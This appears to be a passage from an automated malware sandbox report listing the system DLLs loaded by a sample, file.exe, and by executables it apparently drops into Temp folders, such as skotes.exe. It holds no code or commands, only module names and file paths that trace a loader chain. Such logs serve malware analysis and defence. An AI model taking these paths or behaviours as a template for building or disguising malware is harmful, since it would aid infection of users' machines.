Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
